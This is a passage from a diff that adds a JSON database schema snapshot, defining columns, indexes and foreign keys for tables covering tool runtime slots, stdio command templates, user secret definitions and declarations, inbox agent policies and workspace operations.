+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_scope_type": {
+          "name": "owner_scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'connection'"
+        },
+        "owner_scope_id": {
+          "name": "owner_scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "runtime_kind": {
+          "name": "runtime_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_stdio'"
+        },
+        "slot_key": {
+          "name": "slot_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'stopped'"
+        },
+        "reuse_key": {
+          "name": "reuse_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "workspace_scope": {
+          "name": "workspace_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_scope_hash": {
+          "name": "credential_scope_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_ref": {
+          "name": "provider_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_id": {
+          "name": "process_id",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "command_template_key": {
+          "name": "command_template_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unchecked'"
+        },
+        "health_message": {
+          "name": "health_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_health_check_at": {
+          "name": "last_health_check_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_started_at": {
+          "name": "last_started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stopped_at": {
+          "name": "stopped_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idle_expires_at": {
+          "name": "idle_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idle_deadline_at": {
+          "name": "idle_deadline_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_runtime_slots_company_idx": {
+          "name": "tool_runtime_slots_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_slots_connection_idx": {
+          "name": "tool_runtime_slots_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_slots_execution_workspace_idx": {
+          "name": "tool_runtime_slots_execution_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_slots_slot_key_uq": {
+          "name": "tool_runtime_slots_slot_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slot_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_runtime_slots_company_id_companies_id_fk": {
+          "name": "tool_runtime_slots_company_id_companies_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_application_id_tool_applications_id_fk": {
+          "name": "tool_runtime_slots_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_connection_id_tool_connections_id_fk": {
+          "name": "tool_runtime_slots_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_project_workspace_id_project_workspaces_id_fk": {
+          "name": "tool_runtime_slots_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "tool_runtime_slots_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_issue_id_issues_id_fk": {
+          "name": "tool_runtime_slots_issue_id_issues_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_stdio_command_templates": {
+      "name": "tool_stdio_command_templates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_key": {
+          "name": "template_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "args": {
+          "name": "args",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "env_keys": {
+          "name": "env_keys",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "tools": {
+          "name": "tools",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "disabled_at": {
+          "name": "disabled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_stdio_command_templates_company_idx": {
+          "name": "tool_stdio_command_templates_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_stdio_command_templates_company_status_idx": {
+          "name": "tool_stdio_command_templates_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_stdio_command_templates_company_key_uq": {
+          "name": "tool_stdio_command_templates_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "template_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_stdio_command_templates_company_id_companies_id_fk": {
+          "name": "tool_stdio_command_templates_company_id_companies_id_fk",
+          "tableFrom": "tool_stdio_command_templates",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_stdio_command_templates_created_by_agent_id_agents_id_fk": {
+          "name": "tool_stdio_command_templates_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_stdio_command_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user_inbox_agent_policies": {
+      "name": "user_inbox_agent_policies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "mode": {
+          "name": "mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "allowed_agent_ids": {
+          "name": "allowed_agent_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_inbox_agent_policies_company_user_uq": {
+          "name": "user_inbox_agent_policies_company_user_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_inbox_agent_policies_allowed_agent_ids_idx": {
+          "name": "user_inbox_agent_policies_allowed_agent_ids_idx",
+          "columns": [
+            {
+              "expression": "allowed_agent_ids",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "user_inbox_agent_policies_company_id_companies_id_fk": {
+          "name": "user_inbox_agent_policies_company_id_companies_id_fk",
+          "tableFrom": "user_inbox_agent_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "user_inbox_agent_policies_mode_check": {
+          "name": "user_inbox_agent_policies_mode_check",
+          "value": "\"user_inbox_agent_policies\".\"mode\" in ('open', 'allowlist', 'disabled')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.user_secret_declarations": {
+      "name": "user_secret_declarations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_secret_definition_id": {
+          "name": "user_secret_definition_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "env_key": {
+          "name": "env_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version_selector": {
+          "name": "version_selector",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'latest'"
+        },
+        "required": {
+          "name": "required",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "allow_missing_override": {
+          "name": "allow_missing_override",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_secret_declarations_company_idx": {
+          "name": "user_secret_declarations_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_definition_idx": {
+          "name": "user_secret_declarations_definition_idx",
+          "columns": [
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_target_idx": {
+          "name": "user_secret_declarations_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_company_required_idx": {
+          "name": "user_secret_declarations_company_required_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "required",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_target_path_uq": {
+          "name": "user_secret_declarations_target_path_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "config_path",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_required_override_idx": {
+          "name": "user_secret_declarations_required_override_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "allow_missing_override",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"user_secret_declarations\".\"allow_missing_override\" = true",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "user_secret_declarations_company_id_companies_id_fk": {
+          "name": "user_secret_declarations_company_id_companies_id_fk",
+          "tableFrom": "user_secret_declarations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "user_secret_declarations_user_secret_definition_id_user_secret_definitions_id_fk": {
+          "name": "user_secret_declarations_user_secret_definition_id_user_secret_definitions_id_fk",
+          "tableFrom": "user_secret_declarations",
+          "tableTo": "user_secret_definitions",
+          "columnsFrom": [
+            "user_secret_definition_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user_secret_definitions": {
+      "name": "user_secret_definitions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_encrypted'"
+        },
+        "managed_mode": {
+          "name": "managed_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip_managed'"
+        },
+        "provider_config_id": {
+          "name": "provider_config_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_metadata": {
+          "name": "provider_metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "usage_guidance": {
+          "name": "usage_guidance",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_secret_definitions_company_status_idx": {
+          "name": "user_secret_definitions_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_definitions_company_provider_idx": {
+          "name": "user_secret_definitions_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_definitions_provider_config_idx": {
+          "name": "user_secret_definitions_provider_config_idx",
+          "columns": [
+            {
+              "expression": "provider_config_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_definitions_company_key_uq": {
+          "name": "user_secret_definitions_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"user_secret_definitions\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "user_secret_definitions_company_id_companies_id_fk": {
+          "name": "user_secret_definitions_company_id_companies_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "user_secret_definitions_provider_config_id_company_secret_provider_configs_id_fk": {
+          "name": "user_secret_definitions_provider_config_id_company_secret_provider_configs_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "company_secret_provider_configs",
+          "columnsFrom": [
+            "provider_config_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "user_secret_definitions_created_by_agent_id_agents_id_fk": {
+          "name": "user_secret_definitions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "user_secret_definitions_updated_by_agent_id_agents_id_fk": {
+          "name": "user_secret_definitions_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user_sidebar_preferences": {
+      "name": "user_sidebar_preferences",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_order": {
+          "name": "company_order",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_sidebar_preferences_user_uq": {
+          "name": "user_sidebar_preferences_user_uq",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.workspace_operations": {
+      "name": "workspace_operations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "phase": {
+          "name": "phase",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'running'"
+        },
+        "exit_code": {
+          "name": "exit_code",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_store": {
+          "name": "log_store",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_ref": {
+          "name": "log_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_bytes": {
+          "name": "log_bytes",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_sha256": {
+          "name": "log_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_compressed": {
+          "name": "log_compressed",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "stdout_excerpt": {
+          "name": "stdout_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stderr_excerpt": {
+          "name": "stderr_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "workspace_operations_company_run_started_idx": {
+          "name": "workspace_operations_company_run_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_operations_company_workspace_started_idx": {
+          "name": "workspace_operations_company_workspace_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
